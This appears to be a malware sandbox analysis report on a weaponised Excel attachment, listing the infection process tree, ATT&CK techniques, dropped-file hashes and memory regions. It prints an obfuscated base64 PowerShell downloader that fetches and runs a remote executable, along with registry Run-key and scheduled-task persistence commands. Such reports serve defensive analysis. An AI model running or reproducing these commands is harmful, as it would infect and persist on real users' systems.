PID 1512 wrote to memory of 968	1512	InstallUtil.exe	schtasks.exe

C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE
"C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\RFQ#903_260921_new_request_10012_products.xls
1⤵
- Enumerates system info in registry
- Modifies Internet Explorer settings
- Modifies registry class
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2008
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c Po^W^ERS^he^LL -E WwBzAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBlAE4AQwBPAEQAaQBuAGcAXQA6ADoAdQBOAGkAQwBPAEQARQAuAGcAZQBUAFMAVAByAEkATgBHACgAWwBzAHkAUwBUAGUAbQAuAGMAbwBOAHYARQBSAHQAXQA6ADoARgBSAG8AbQBCAGEAUwBFADYANABzAHQAUgBpAE4AZwAoACIAZABBAEIAeQBBAEgAawBBAEkAQQBCADcAQQBHAFkAQQBiAHcAQgB5AEEAQwBBAEEASwBBAEEAawBBAEcAawBBAFAAUQBBAHgAQQBEAHMAQQBJAEEAQQBrAEEARwBrAEEASQBBAEEAdABBAEcAdwBBAFoAUQBBAGcAQQBEAEUAQQBNAGcAQQB3AEEARABBAEEATQBBAEEANwBBAEMAQQBBAEoAQQBCAHAAQQBDAHMAQQBLAHcAQQBwAEEAQwBBAEEAZQB3AEEAawBBAEcAawBBAEwAQQBBAGkAQQBHAEEAQQBiAGcAQQBpAEEASAAwAEEAZgBRAEEAZwBBAEcATQBBAFkAUQBCADAAQQBHAE0AQQBhAEEAQgA3AEEASAAwAEEARABRAEEASwBBAEcAWQBBAGQAUQBCAHUAQQBHAE0AQQBkAEEAQgBwAEEARwA4AEEAYgBnAEEAZwBBAEcAcwBBAGIAQQBCAHkAQQBHADgAQQBjAGcAQgBwAEEARwBNAEEAWQBnAEIAcgBBAEgAWQBBAFoAZwBCAGgAQQBHAFkAQQBiAEEAQgBoAEEARwA0AEEAZABBAEIAdQBBAEcAbwBBAFoAdwBBAGcAQQBDAGcAQQBJAEEAQQBrAEEASABNAEEAYQB3AEIAMgBBAEcARQBBAGEAUQBCAG0AQQBHADAAQQBlAEEAQgA1AEEASABjAEEAWQB3AEIAMQBBAEMAQQBBAEwAQQBBAGcAQQBDAFEAQQBhAEEAQgByAEEARwBVAEEAYgB3AEIAdwBBAEgAbwBBAGIAQQBCADAAQQBIAFUAQQBiAHcAQgBpAEEASABBAEEAYQBnAEEAZwBBAEMAawBBAEQAUQBBAEsAQQBIAHMAQQBJAEEAQgBKAEEARQAwAEEAVQBBAEIAUABBAEYASQBBAFYAQQBBAHQAQQBFADAAQQBiAHcAQgBrAEEASABVAEEAVABBAEIARgBBAEMAQQBBAFEAZwBCAEoAQQBIAFEAQQBVAHcAQgBVAEEARgBJAEEAUQBRAEIATwBBAEgATQBBAFoAZwBCAGwAQQBGAEkAQQBPAHcAQQBOAEEAQQBvAEEAVQB3AEIAMABBAEUARQBBAGMAZwBCAFUAQQBDADAAQQBRAGcAQgBKAEEARgBRAEEAYwB3AEIAMABBAEgASQBBAFEAUQBCAHUAQQBGAE0AQQBSAGcAQgBGAEEASABJAEEASQBBAEEAdABBAEgATQBBAGIAdwBCAFYAQQBIAEkAQQBZAHcAQgBsAEEAQwBBAEEASgBBAEIAegBBAEcAcwBBAGQAZwBCAGgAQQBHAGsAQQBaAGcAQgB0AEEASABnAEEAZQBRAEIAMwBBAEcATQBBAGQAUQBBAGcAQQBDADAAQQBSAEEAQgBsAEEARgBNAEEAVgBBAEIAcABBAEUANABBAFEAUQBCAFUAQQBFAGsAQQBiAHcAQgBPAEEAQwBBAEEASgBBAEIAbwBBAEcAcwBBAFoAUQBCAHYAQQBIAEEAQQBlAGcAQgBzAEEASABRAEEAZABRAEIAdgBBAEcASQBBAGMAQQBCAHEAQQBEAHMAQQBJAEEAQQBtAEEAQwBBAEEASgBBAEIAbwBBAEcAcwBBAFoAUQBCAHYAQQBIAEEAQQBlAGcAQgBzAEEASABRAEEAZABRAEIAdgBBAEcASQBBAGMAQQBCAHEAQQBEAHMAQQBJAEEAQgA5AEEASABRAEEAYwBnAEIANQBBAEgAcwBBAEoAQQBCADIAQQBIAEUAQQBlAEEAQgAwAEEARwBRAEEAYQBBAEIAbQBBAEcATQBBAFoAQQBCAG8AQQBHAFUAQQBZAGcAQgAxAEEARwBRAEEAWgB3AEEAOQBBAEMAUQBBAFoAUQBCAE8AQQBGAFkAQQBPAGcAQgAwAEEARQBVAEEAYgBRAEIAUQBBAEMAcwBBAEoAdwBCAGMAQQBHAFUAQQBhAFEAQQB1AEEARwBVAEEAZQBBAEIAbABBAEMAYwBBAE8AdwBBAE4AQQBBAG8AQQBhAHcAQgBzAEEASABJAEEAYgB3AEIAeQBBAEcAawBBAFkAdwBCAGkAQQBHAHMAQQBkAGcAQgBtAEEARwBFAEEAWgBnAEIAcwBBAEcARQBBAGIAZwBCADAAQQBHADQAQQBhAGcAQgBuAEEAQwBBAEEASgB3AEIAbwBBAEgAUQBBAGQAQQBCAHcAQQBEAG8AQQBMAHcAQQB2AEEARwBFAEEAYgBnAEIAcgBBAEcARQBBAEwAUQBCADAAQQBHAFUAQQBhAHcAQQB1AEEARwBNAEEAYgB3AEIAdABBAEMANABBAGQAQQBCAHkAQQBDADgAQQBRAFEAQgBWAEEARQBjAEEATAB3AEIAMwBBAEcAVQBBAFoAQQBBAHUAQQBHAFUAQQBlAEEAQgBsAEEAQwBjAEEASQBBAEEAawBBAEgAWQBBAGMAUQBCADQAQQBIAFEAQQBaAEEAQgBvAEEARwBZAEEAWQB3AEIAawBBAEcAZwBBAFoAUQBCAGkAQQBIAFUAQQBaAEEAQgBuAEEARABzAEEARABRAEEASwBBAEcAcwBBAGIAQQBCAHkAQQBHADgAQQBjAGcAQgBwAEEARwBNAEEAWQBnAEIAcgBBAEgAWQBBAFoAZwBCAGgAQQBHAFkAQQBiAEEAQgBoAEEARwA0AEEAZABBAEIAdQBBAEcAbwBBAFoAdwBBAGcAQQBDAGMAQQBhAEEAQgAwAEEASABRAEEAYwBBAEEANgBBAEMAOABBAEwAdwBCAGgAQQBHADQAQQBhAHcAQgBoAEEAQwAwAEEAZABBAEIAbABBAEcAcwBBAEwAZwBCAGoAQQBHADgAQQBiAFEAQQB1AEEASABRAEEAYwBnAEEAdgBBAEUARQBBAFYAUQBCAEgAQQBDADgAQQBkAHcAQgBsAEEARwBRAEEATABnAEIAbABBAEgAZwBBAFoAUQBBAG4AQQBDAEEAQQBKAEEAQgAyAEEASABFAEEAZQBBAEIAMABBAEcAUQBBAGEAQQBCAG0AQQBHAE0AQQBaAEEAQgBvAEEARwBVAEEAWQBnAEIAMQBBAEcAUQBBAFoAdwBBADcAQQBBADAAQQBDAGcAQgByAEEARwB3AEEAYwBnAEIAdgBBAEgASQBBAGEAUQBCAGoAQQBHAEkAQQBhAHcAQgAyAEEARwBZAEEAWQBRAEIAbQBBAEcAdwBBAFkAUQBCAHUAQQBIAFEAQQBiAGcAQgBxAEEARwBjAEEASQBBAEEAbgBBAEcAZwBBAGQAQQBCADAAQQBIAEEAQQBPAGcAQQB2AEEAQwA4AEEAWQBRAEIAdQBBAEcAcwBBAFkAUQBBAHQAQQBIAFEAQQBaAFEAQgByAEEAQwA0AEEAWQB3AEIAdgBBAEcAMABBAEwAZwBCADAAQQBIAEkAQQBMAHcAQgBCAEEARgBVAEEAUgB3AEEAdgBBAEgAYwBBAFoAUQBCAGsAQQBDADQAQQBaAFEAQgA0AEEARwBVAEEASgB3AEEAZwBBAEMAUQBBAGQAZwBCAHgAQQBIAGcAQQBkAEEAQgBrAEEARwBnAEEAWgBnAEIAagBBAEcAUQBBAGEAQQBCAGwAQQBHAEkAQQBkAFEAQgBrAEEARwBjAEEATwB3AEEATgBBAEEAbwBBAGYAUQBCAGoAQQBHAEUAQQBkAEEAQgBqAEEARwBnAEEAZQB3AEIAOQBBAEEAPQA9ACIAKQApAHwASQBFAFgA
  2⤵
  - Process spawned unexpected child process
  - Suspicious use of WriteProcessMemory
  PID:1528
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    PoWERSheLL -E WwBzAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBlAE4AQwBPAEQAaQBuAGcAXQA6ADoAdQBOAGkAQwBPAEQARQAuAGcAZQBUAFMAVAByAEkATgBHACgAWwBzAHkAUwBUAGUAbQAuAGMAbwBOAHYARQBSAHQAXQA6ADoARgBSAG8AbQBCAGEAUwBFADYANABzAHQAUgBpAE4AZwAoACIAZABBAEIAeQBBAEgAawBBAEkAQQBCADcAQQBHAFkAQQBiAHcAQgB5AEEAQwBBAEEASwBBAEEAawBBAEcAawBBAFAAUQBBAHgAQQBEAHMAQQBJAEEAQQBrAEEARwBrAEEASQBBAEEAdABBAEcAdwBBAFoAUQBBAGcAQQBEAEUAQQBNAGcAQQB3AEEARABBAEEATQBBAEEANwBBAEMAQQBBAEoAQQBCAHAAQQBDAHMAQQBLAHcAQQBwAEEAQwBBAEEAZQB3AEEAawBBAEcAawBBAEwAQQBBAGkAQQBHAEEAQQBiAGcAQQBpAEEASAAwAEEAZgBRAEEAZwBBAEcATQBBAFkAUQBCADAAQQBHAE0AQQBhAEEAQgA3AEEASAAwAEEARABRAEEASwBBAEcAWQBBAGQAUQBCAHUAQQBHAE0AQQBkAEEAQgBwAEEARwA4AEEAYgBnAEEAZwBBAEcAcwBBAGIAQQBCAHkAQQBHADgAQQBjAGcAQgBwAEEARwBNAEEAWQBnAEIAcgBBAEgAWQBBAFoAZwBCAGgAQQBHAFkAQQBiAEEAQgBoAEEARwA0AEEAZABBAEIAdQBBAEcAbwBBAFoAdwBBAGcAQQBDAGcAQQBJAEEAQQBrAEEASABNAEEAYQB3AEIAMgBBAEcARQBBAGEAUQBCAG0AQQBHADAAQQBlAEEAQgA1AEEASABjAEEAWQB3AEIAMQBBAEMAQQBBAEwAQQBBAGcAQQBDAFEAQQBhAEEAQgByAEEARwBVAEEAYgB3AEIAdwBBAEgAbwBBAGIAQQBCADAAQQBIAFUAQQBiAHcAQgBpAEEASABBAEEAYQBnAEEAZwBBAEMAawBBAEQAUQBBAEsAQQBIAHMAQQBJAEEAQgBKAEEARQAwAEEAVQBBAEIAUABBAEYASQBBAFYAQQBBAHQAQQBFADAAQQBiAHcAQgBrAEEASABVAEEAVABBAEIARgBBAEMAQQBBAFEAZwBCAEoAQQBIAFEAQQBVAHcAQgBVAEEARgBJAEEAUQBRAEIATwBBAEgATQBBAFoAZwBCAGwAQQBGAEkAQQBPAHcAQQBOAEEAQQBvAEEAVQB3AEIAMABBAEUARQBBAGMAZwBCAFUAQQBDADAAQQBRAGcAQgBKAEEARgBRAEEAYwB3AEIAMABBAEgASQBBAFEAUQBCAHUAQQBGAE0AQQBSAGcAQgBGAEEASABJAEEASQBBAEEAdABBAEgATQBBAGIAdwBCAFYAQQBIAEkAQQBZAHcAQgBsAEEAQwBBAEEASgBBAEIAegBBAEcAcwBBAGQAZwBCAGgAQQBHAGsAQQBaAGcAQgB0AEEASABnAEEAZQBRAEIAMwBBAEcATQBBAGQAUQBBAGcAQQBDADAAQQBSAEEAQgBsAEEARgBNAEEAVgBBAEIAcABBAEUANABBAFEAUQBCAFUAQQBFAGsAQQBiAHcAQgBPAEEAQwBBAEEASgBBAEIAbwBBAEcAcwBBAFoAUQBCAHYAQQBIAEEAQQBlAGcAQgBzAEEASABRAEEAZABRAEIAdgBBAEcASQBBAGMAQQBCAHEAQQBEAHMAQQBJAEEAQQBtAEEAQwBBAEEASgBBAEIAbwBBAEcAcwBBAFoAUQBCAHYAQQBIAEEAQQBlAGcAQgBzAEEASABRAEEAZABRAEIAdgBBAEcASQBBAGMAQQBCAHEAQQBEAHMAQQBJAEEAQgA5AEEASABRAEEAYwBnAEIANQBBAEgAcwBBAEoAQQBCADIAQQBIAEUAQQBlAEEAQgAwAEEARwBRAEEAYQBBAEIAbQBBAEcATQBBAFoAQQBCAG8AQQBHAFUAQQBZAGcAQgAxAEEARwBRAEEAWgB3AEEAOQBBAEMAUQBBAFoAUQBCAE8AQQBGAFkAQQBPAGcAQgAwAEEARQBVAEEAYgBRAEIAUQBBAEMAcwBBAEoAdwBCAGMAQQBHAFUAQQBhAFEAQQB1AEEARwBVAEEAZQBBAEIAbABBAEMAYwBBAE8AdwBBAE4AQQBBAG8AQQBhAHcAQgBzAEEASABJAEEAYgB3AEIAeQBBAEcAawBBAFkAdwBCAGkAQQBHAHMAQQBkAGcAQgBtAEEARwBFAEEAWgBnAEIAcwBBAEcARQBBAGIAZwBCADAAQQBHADQAQQBhAGcAQgBuAEEAQwBBAEEASgB3AEIAbwBBAEgAUQBBAGQAQQBCAHcAQQBEAG8AQQBMAHcAQQB2AEEARwBFAEEAYgBnAEIAcgBBAEcARQBBAEwAUQBCADAAQQBHAFUAQQBhAHcAQQB1AEEARwBNAEEAYgB3AEIAdABBAEMANABBAGQAQQBCAHkAQQBDADgAQQBRAFEAQgBWAEEARQBjAEEATAB3AEIAMwBBAEcAVQBBAFoAQQBBAHUAQQBHAFUAQQBlAEEAQgBsAEEAQwBjAEEASQBBAEEAawBBAEgAWQBBAGMAUQBCADQAQQBIAFEAQQBaAEEAQgBvAEEARwBZAEEAWQB3AEIAawBBAEcAZwBBAFoAUQBCAGkAQQBIAFUAQQBaAEEAQgBuAEEARABzAEEARABRAEEASwBBAEcAcwBBAGIAQQBCAHkAQQBHADgAQQBjAGcAQgBwAEEARwBNAEEAWQBnAEIAcgBBAEgAWQBBAFoAZwBCAGgAQQBHAFkAQQBiAEEAQgBoAEEARwA0AEEAZABBAEIAdQBBAEcAbwBBAFoAdwBBAGcAQQBDAGMAQQBhAEEAQgAwAEEASABRAEEAYwBBAEEANgBBAEMAOABBAEwAdwBCAGgAQQBHADQAQQBhAHcAQgBoAEEAQwAwAEEAZABBAEIAbABBAEcAcwBBAEwAZwBCAGoAQQBHADgAQQBiAFEAQQB1AEEASABRAEEAYwBnAEEAdgBBAEUARQBBAFYAUQBCAEgAQQBDADgAQQBkAHcAQgBsAEEARwBRAEEATABnAEIAbABBAEgAZwBBAFoAUQBBAG4AQQBDAEEAQQBKAEEAQgAyAEEASABFAEEAZQBBAEIAMABBAEcAUQBBAGEAQQBCAG0AQQBHAE0AQQBaAEEAQgBvAEEARwBVAEEAWQBnAEIAMQBBAEcAUQBBAFoAdwBBADcAQQBBADAAQQBDAGcAQgByAEEARwB3AEEAYwBnAEIAdgBBAEgASQBBAGEAUQBCAGoAQQBHAEkAQQBhAHcAQgAyAEEARwBZAEEAWQBRAEIAbQBBAEcAdwBBAFkAUQBCAHUAQQBIAFEAQQBiAGcAQgBxAEEARwBjAEEASQBBAEEAbgBBAEcAZwBBAGQAQQBCADAAQQBIAEEAQQBPAGcAQQB2AEEAQwA4AEEAWQBRAEIAdQBBAEcAcwBBAFkAUQBBAHQAQQBIAFEAQQBaAFEAQgByAEEAQwA0AEEAWQB3AEIAdgBBAEcAMABBAEwAZwBCADAAQQBIAEkAQQBMAHcAQgBCAEEARgBVAEEAUgB3AEEAdgBBAEgAYwBBAFoAUQBCAGsAQQBDADQAQQBaAFEAQgA0AEEARwBVAEEASgB3AEEAZwBBAEMAUQBBAGQAZwBCAHgAQQBIAGcAQQBkAEEAQgBrAEEARwBnAEEAWgBnAEIAagBBAEcAUQBBAGEAQQBCAGwAQQBHAEkAQQBkAFEAQgBrAEEARwBjAEEATwB3AEEATgBBAEEAbwBBAGYAUQBCAGoAQQBHAEUAQQBkAEEAQgBqAEEARwBnAEEAZQB3AEIAOQBBAEEAPQA9ACIAKQApAHwASQBFAFgA
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:1884
  - - C:\Users\Admin\AppData\Local\Temp\ei.exe
      "C:\Users\Admin\AppData\Local\Temp\ei.exe"
      4⤵
      Loads dropped DLL
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:1176
    - - C:\Windows\SysWOW64\cmd.exe
        
        "cmd.exe" /c REG ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /f /v "expo" /t REG_SZ /d "C:\Users\Admin\AppData\Roaming\expo.exe"
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:1060
      - C:\Windows\SysWOW64\reg.exe
        
        REG ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /f /v "expo" /t REG_SZ /d "C:\Users\Admin\AppData\Roaming\expo.exe"
        6⤵
        Adds Run key to start application
        
        PID:944
    - - C:\Users\Admin\AppData\Roaming\expo.exe
        
        "C:\Users\Admin\AppData\Roaming\expo.exe"
        5⤵
        Executes dropped EXE
        Loads dropped DLL
        Suspicious use of SetThreadContext
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:992
      - C:\Users\Admin\AppData\Roaming\ammero.exe
        
        "C:\Users\Admin\AppData\Roaming\ammero.exe"
        6⤵
        Executes dropped EXE
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:1136
      - C:\Users\Admin\AppData\Local\Temp\InstallUtil.exe
        
        "C:\Users\Admin\AppData\Local\Temp\InstallUtil.exe"
        6⤵
        Executes dropped EXE
        Adds Run key to start application
        Checks whether UAC is enabled
        Drops file in Program Files directory
        Suspicious behavior: EnumeratesProcesses
        Suspicious behavior: GetForegroundWindowSpam
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:1512
        
        C:\Windows\SysWOW64\schtasks.exe
        
        "schtasks.exe" /create /f /tn "UDP Subsystem" /xml "C:\Users\Admin\AppData\Local\Temp\tmpA4C.tmp"
        7⤵
        Creates scheduled task(s)
        
        PID:1900
        
        C:\Windows\SysWOW64\schtasks.exe
        
        "schtasks.exe" /create /f /tn "UDP Subsystem Task" /xml "C:\Users\Admin\AppData\Local\Temp\tmpC02.tmp"
        7⤵
        Creates scheduled task(s)
        
        PID:968

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Scheduled Task

T1053

Persistence

Registry Run Keys / Startup Folder

T1060

Scheduled Task

T1053

Privilege Escalation

Scheduled Task

T1053

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\InstallUtil.exe

MD5
91c9ae9c9a17a9db5e08b120e668c74c

SHA1
50770954c1ceb0bb6f1d5d3f2de2a0a065773723

SHA256
e56a7e5d3ab9675555e2897fc3faa2dd9265008a4967a7d54030ab8184d2d38f

SHA512
ca504af192e3318359d4742a2ef26ae1b5d040a4f9942782e02549a310158d5d5dbf919b4c748c31ee609d2046bd23ee0c22712891c86ae4a1e3a58c6e67647e

Download Submit
C:\Users\Admin\AppData\Local\Temp\InstallUtil.exe

MD5
91c9ae9c9a17a9db5e08b120e668c74c

SHA1
50770954c1ceb0bb6f1d5d3f2de2a0a065773723

SHA256
e56a7e5d3ab9675555e2897fc3faa2dd9265008a4967a7d54030ab8184d2d38f

SHA512
ca504af192e3318359d4742a2ef26ae1b5d040a4f9942782e02549a310158d5d5dbf919b4c748c31ee609d2046bd23ee0c22712891c86ae4a1e3a58c6e67647e

Download Submit
C:\Users\Admin\AppData\Local\Temp\tmpA4C.tmp

MD5
f7eb19c49b51cdff67a25c6876a78241

SHA1
6d86be501c2fb57b50292a55d3983b7eee8a688d

SHA256
c9dab73a0044021d2acbc3952b19dea98cdfd838afc633197bd1bd12d2562fba

SHA512
1e94e363f9d4d0dcdfe0a8457642fcfe4f81dff0b39f1d1f00deab9291e133cd40b48c097dfe52c356d4a15c383e0aa08fae28b136937bcc57d5e01861716740

Download Submit
C:\Users\Admin\AppData\Local\Temp\tmpC02.tmp

MD5
c4aecdef99eba873119e79616df3f4b0

SHA1
b1b3af52655fb633eed909dfed05b64fbbfac37c

SHA256
24fd0d87bea36a024449a95f808aaa174e4ed9003cb8a427b67c02411b8a2e0b

SHA512
e3f44b07267fccf4f5abd4efe80f2b037ddadc4cb898bdfca9d21ac5d79fcac828950065c2060d3ce125ee971fc3096183afee5287ba9951fbbda7257d8ed8d4

Download Submit
C:\Users\Admin\AppData\Roaming\ammero.exe

MD5
605e939e44cd9b02c55ce0a09019ad47

SHA1
9ac8ff474631ed0c3d27a7290979b4880b9784f6

SHA256
5ab99263d0101e00809c2fe1f068bbcb601208c3fb0efd753b36169a3a69c589

SHA512
5196b9b698a71dc4510a57acabaee22ec2cd3f35c7c82c0ccbc00673ee97b471019a79e4cdb1ec6b5765ef70f1b5aebc19f56b0fa6a9932844c8ae07ba8b2b9d

Download Submit
C:\Users\Admin\AppData\Roaming\ammero.exe

MD5
605e939e44cd9b02c55ce0a09019ad47

SHA1
9ac8ff474631ed0c3d27a7290979b4880b9784f6

SHA256
5ab99263d0101e00809c2fe1f068bbcb601208c3fb0efd753b36169a3a69c589

SHA512
5196b9b698a71dc4510a57acabaee22ec2cd3f35c7c82c0ccbc00673ee97b471019a79e4cdb1ec6b5765ef70f1b5aebc19f56b0fa6a9932844c8ae07ba8b2b9d

Download Submit
C:\Users\Admin\AppData\Roaming\expo.exe

MD5
419179d921ed1c875e2c690ee521d516

SHA1
12750f63f89e8086d59948ebe3664473364f72dc

SHA256
99b390b6b37a14d651e2bfc9d4588385c13ab7a367129a9e753f6650f6867d54

SHA512
823bfb71c82aedef4449cd1a584a0810b050139368ce0bb801ae0be629fdecac98733e48f6978e1d08020031f9ace52d050123baf035cf1bb87bd4b15e2c9702

Download Submit
C:\Users\Admin\AppData\Roaming\expo.exe

MD5
419179d921ed1c875e2c690ee521d516

SHA1
12750f63f89e8086d59948ebe3664473364f72dc

SHA256
99b390b6b37a14d651e2bfc9d4588385c13ab7a367129a9e753f6650f6867d54

SHA512
823bfb71c82aedef4449cd1a584a0810b050139368ce0bb801ae0be629fdecac98733e48f6978e1d08020031f9ace52d050123baf035cf1bb87bd4b15e2c9702

Download Submit
\Users\Admin\AppData\Local\Temp\InstallUtil.exe

MD5
91c9ae9c9a17a9db5e08b120e668c74c

SHA1
50770954c1ceb0bb6f1d5d3f2de2a0a065773723

SHA256
e56a7e5d3ab9675555e2897fc3faa2dd9265008a4967a7d54030ab8184d2d38f

SHA512
ca504af192e3318359d4742a2ef26ae1b5d040a4f9942782e02549a310158d5d5dbf919b4c748c31ee609d2046bd23ee0c22712891c86ae4a1e3a58c6e67647e

Download Submit
\Users\Admin\AppData\Roaming\ammero.exe

MD5
605e939e44cd9b02c55ce0a09019ad47

SHA1
9ac8ff474631ed0c3d27a7290979b4880b9784f6

SHA256
5ab99263d0101e00809c2fe1f068bbcb601208c3fb0efd753b36169a3a69c589

SHA512
5196b9b698a71dc4510a57acabaee22ec2cd3f35c7c82c0ccbc00673ee97b471019a79e4cdb1ec6b5765ef70f1b5aebc19f56b0fa6a9932844c8ae07ba8b2b9d

Download Submit
\Users\Admin\AppData\Roaming\expo.exe

MD5
419179d921ed1c875e2c690ee521d516

SHA1
12750f63f89e8086d59948ebe3664473364f72dc

SHA256
99b390b6b37a14d651e2bfc9d4588385c13ab7a367129a9e753f6650f6867d54

SHA512
823bfb71c82aedef4449cd1a584a0810b050139368ce0bb801ae0be629fdecac98733e48f6978e1d08020031f9ace52d050123baf035cf1bb87bd4b15e2c9702

Download Submit
memory/944-70-0x0000000000000000-mapping.dmp

Download
memory/968-99-0x0000000000000000-mapping.dmp

Download
memory/992-83-0x0000000004810000-0x000000000481B000-memory.dmp

Filesize
44KB

Download
memory/992-77-0x0000000004F00000-0x0000000004F01000-memory.dmp

Filesize
4KB

Download
memory/992-75-0x0000000000230000-0x0000000000231000-memory.dmp

Filesize
4KB

Download
memory/992-79-0x0000000004F01000-0x0000000004F02000-memory.dmp

Filesize
4KB

Download
memory/992-72-0x0000000000000000-mapping.dmp

Download
memory/992-87-0x0000000004820000-0x0000000004821000-memory.dmp

Filesize
4KB

Download
memory/1060-69-0x0000000000000000-mapping.dmp

Download
memory/1136-90-0x00000000049A0000-0x00000000049A1000-memory.dmp

Filesize
4KB

Download
memory/1136-81-0x0000000000000000-mapping.dmp

Download
memory/1136-85-0x0000000001180000-0x0000000001181000-memory.dmp

Filesize
4KB

Download
memory/1176-66-0x0000000004EB0000-0x0000000004EB1000-memory.dmp

Filesize
4KB

Download
memory/1176-63-0x0000000000000000-mapping.dmp

Download
memory/1176-67-0x00000000005B0000-0x00000000005D1000-memory.dmp

Filesize
132KB

Download
memory/1176-68-0x0000000004EB1000-0x0000000004EB2000-memory.dmp

Filesize
4KB

Download
memory/1176-64-0x0000000000BA0000-0x0000000000BA1000-memory.dmp

Filesize
4KB

Download
memory/1512-98-0x0000000004E60000-0x0000000004E61000-memory.dmp

Filesize
4KB

Download
memory/1512-101-0x00000000002D0000-0x00000000002D5000-memory.dmp

Filesize
20KB

Download
memory/1512-91-0x0000000000400000-0x0000000000438000-memory.dmp

Filesize
224KB

Download
memory/1512-92-0x000000000041E792-mapping.dmp

Download
memory/1512-94-0x0000000000400000-0x0000000000438000-memory.dmp

Filesize
224KB

Download
memory/1512-103-0x00000000002E0000-0x00000000002E3000-memory.dmp

Filesize
12KB

Download
memory/1512-102-0x0000000000480000-0x0000000000499000-memory.dmp

Filesize
100KB

Download
memory/1528-57-0x0000000000000000-mapping.dmp

Download
memory/1884-61-0x0000000002370000-0x0000000002FBA000-memory.dmp

Filesize
12.3MB

Download
memory/1884-60-0x0000000002370000-0x0000000002FBA000-memory.dmp

Filesize
12.3MB

Download
memory/1884-59-0x0000000075C11000-0x0000000075C13000-memory.dmp

Filesize
8KB

Download
memory/1884-58-0x0000000000000000-mapping.dmp

Download
memory/1884-62-0x0000000002370000-0x0000000002FBA000-memory.dmp

Filesize
12.3MB

Download
memory/1900-96-0x0000000000000000-mapping.dmp

Download
memory/2008-55-0x0000000071281000-0x0000000071283000-memory.dmp

Filesize
8KB

Download
memory/2008-56-0x000000005FFF0000-0x0000000060000000-memory.dmp

Filesize
64KB

Download
memory/2008-54-0x000000002F811000-0x000000002F814000-memory.dmp

Filesize
12KB

Download
memory/2008-104-0x000000005FFF0000-0x0000000060000000-memory.dmp

Filesize
64KB

Download